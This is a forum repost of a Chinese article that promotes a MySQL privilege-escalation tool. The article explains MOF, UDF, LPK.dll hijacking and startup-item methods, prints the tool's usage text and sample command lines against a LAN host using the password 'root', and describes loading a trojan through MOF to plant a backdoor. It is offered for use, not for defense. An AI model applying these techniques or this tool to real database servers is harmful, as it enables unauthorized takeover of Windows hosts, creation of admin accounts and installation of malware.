搜索

[22221] 2021-08-05_mysql提权利用工具

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-08-05_mysql提权利用工具 m y s q l 提 权 利 用 工 具 L e m o n S e c   2 0 2 1 - 0 8 - 0 5 以 下 文 章 来 源 于 系 统 安 全 运 维   ， 作 者 三 个 大 石 头 每 日 分 享 好 工 具 每 日 分 享 好 工 具 最 近 在 测 试 一 个 项 目 ， 遇 到 了 M Y S Q L 数 据 库 ， 想 尽 办 法 提 权 ， 最 终 都 没 有 成 功 ， 很 是 郁 闷 ， 可 能 是 自 己 很 久 没 有 研 究 过 提 权 导 致 的 吧 ， 学 习 中 收 集 到 这 个 工 具 ， 分 享 给 大 家 。 原 理 ： 原 理 ： m o f 提 权 原 理 ： m o f 是 w i n d o w s 系 统 的 一 个 文 件 （ 在 c : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / n u l l e v t . m o f ） 叫 做 " 托 管 对 象 格 式 " 其 作 用 是 每 隔 五 秒 就 会 去 监 控 进 程 创 建 和 死 亡 。 其 就 是 用 又 了 m y s q l 的 r o o t 权 限 了 以 后 ， 然 后 使 用 r o o t 权 限 去 执 行 我 们 上 传 的 m o f 。 隔 了 一 定 时 间 以 后 这 个 m o f 就 会 被 执 行 ， 这 个 m o f 当 中 有 一 段 是 v b s 脚 本 ， 这 个 v b s 大 多 数 的 是 c m d 的 添 加 管 理 员 用 户 的 命 令 。 u d f 提 权 ： u d f 提 权 这 是 最 常 见 的 提 权 方 式 了 ， 但 是 往 往 在 执 行 过 程 中 老 是 遇 到 " C a n ' t   o p e n   s h a r e d   l i b r a r y " 的 情 况 ， 这 里 我 们 可 以 利 用 N T F S   A D S 流 来 解 决 这 个 问 题 。 1 .   最 常 见 的 是 直 接 使 用 u d f . p h p 此 类 的 工 具 来 执 行 u d f 提 权 ， 具 体 如 下 。 连 接 到 m y s q l 以 后 ， 先 导 出 u d f . d l l 到 c : w i n d o w s s y s t e m 3 2 目 录 下 。 2 .   创 建 相 应 的 函 数 并 执 行 命 令 ， 具 体 如 下 ： 用 于   M y S Q L   提 升 权 限 。 p y t h o n - p r o m o t i n g - p r i v i l e g e s   权 限 权 限 1 . 自 动 导 出 你 的 后 门 和 m o f 文 件 ， 2 . 自 动 判 断 m y s q l 版 本 ， 根 据 不 同 版 本 不 同 的 U D F 的 D L L 到 不 同 的 目 录 ， U D F 提 权 3 . 导 出 L P K . d l l 文 件 ， 劫 持 系 统 目 录 提 权 4 . 写 启 动 项 提 权 工 具 仅 能 方 便 使 用 ， 技 术 含 量 几 乎 没 有 。 用 p y 脚 本 写 的 ， 也 打 包 成 e x e 了 ， 个 人 用 的 还 算 顺 手 。 运 行 ： 运 行 ： 系 统 安 全 运 维 系 统 安 全 运 维   . 机 器 猫 学 安 全 /   每 日 分 享 ， 绝 不 偷 懒 p r o m o t e : P y t h o n D e m o   v 5 e s t 0 r $   p y t h o n   r o o t . p y     _ _                         _         _ _     _ _               _ _ _ _       _ _ _     _
我 在 虚 拟 机 演 示 打 包 好 e x e 远 程 提 权 ， 我 就 不 多 说 了 ， 直 接 上 图 ： 默 认 U D F 提 权 ， 也 可 以 指 定 方 式 ，     _ _                         _         _ _     _ _               _ _ _ _       _ _ _     _   /   _ | _       _     _ _ _ |   |   _ |     /     | _       _ /   _ _ _ |   /   _   |   | |   | _ |   |   |   | /   _ _ |   | /   /   | / |   |   |   |   _ _ _   |   |   |   |   |             A u t h o r ： v 5 e s t 0 r |     _ |   | _ |   |   ( _ _ |       < |   |     |   |   | _ |   | _ _ _ )   |   | _ |   |   | _ _ _ | _ |     _ _ , _ | _ _ _ | _ | _ _ |     | _ | _ _ ,   | _ _ _ _ /   _ _ _ _ _ _ _ _ |                                                         | _ _ _ / u s a g e :   r o o t . p y   [ - h ]   [ - a   H O S T ]   [ - o   P O R T ]   [ - u   U S E R ]   [ - p   P A S S W D ]   [ - e   E X E C U T E ]                               [ - m   M E T H O D ] f u c k m y s q l o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - a   H O S T ,   - - h o s t   H O S T     M y S Q L   s e r v e r   i p     - o   P O R T ,   - - p o r t   P O R T     M y S Q L   P o r t     - u   U S E R ,   - - u s e r   U S E R     m y s q l   U s e r N a m e     - p   P A S S W D ,   - - p a s s w d   P A S S W D                                                 m y s q l   p a s s w o r d     - e   E X E C U T E ,   - - e x e c u t e   E X E C U T E                                                 c o m m a n d   f o r   U D F   t o   e x e c u t e     - m   M E T H O D ,   - - m e t h o d   M E T H O D                                                 e l e v a t e   m e t h o d , e g : u d f / m o f / l p k / s t - m   u d f - e   i p c o n f i g
指 定 执 行 的 c m d ， 默 认 执 行 w h o a m i ： 避 免 U D F 无 效 ， 我 们 使 用 L P K . d l l 劫 持 ： r o o t . e x e   - a   1 9 2 . 1 6 8 . 1 . 1 0 5   - p   r o o t   - e   " v e r & w h o a m i "   - m   u d f r o o t . e x e   - a   1 9 2 . 1 6 8 . 1 . 1 0 5   - p   r o o t   - m   l p k
验 证 一 下 ： 把 你 的 木 马 的 h e x 复 制 到 同 目 录 的 h e x . t x t 就 行 了 ， 程 序 会 导 出 木 马 到 指 定 目 录 ， 并 用 m o f 执 行 。
停 止 U D F 和 L P K 都 无 效 ， 那 我 们 只 能 暂 时 暂 停 启 动 项 ： 可 能 的 路 径 编 码 问 题 写 不 成 功 ， 你 可 以 根 据 提 示 ， 用 本 地 的 M y S Q L 连 接 开 始 ， 执 行 。 r o o t . e x e   - a   1 9 2 . 1 6 8 . 1 . 1 0 5   - p   r o o t   - m   s t
当 然 还 有 情 况 提 权 ， U D F 不 能 创 建 插 件 目 录 ， 网 上 流 传 的 A D S 流 创 建 目 录 我 是 没 有 成 功 过 ， 工 具 加 了 A D S 流 创 建 目 录 的 代 码 ， 那 么 我 们 远 程 创 建 的 插 件 目 录 ， 再 利 用 ： 本 地 模 式 ： P H P 一 般 权 限 都 是 可 以 创 建 目 录 的 ， 因 此 必 须 指 定 中 主 机 为 本 地 调 用 模 式 ： l o c a l h o s t 或 1 2 7 . 0 . 0 . 1 r o o t . e x e   - a   l o c a l h o s t   - p   r o o t   - e   " v e r & w h o a m i "   - m   u d f
可 公 众 号 内 回 复 “ m y s q l ” 获 取 下 载 链 接 。 每 日 坚 持 分 享 好 工 具 好 资 源 ， 麻 烦 各 位 师 傅 文 章 底 部 给 点 个 “ 再 看 再 看 ” ， 感 激 不 尽 r o o t . e x e   - a   l o c a l h o s t   - p   r o o t   - e   " v e r & w h o a m i "   - m   u d f
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理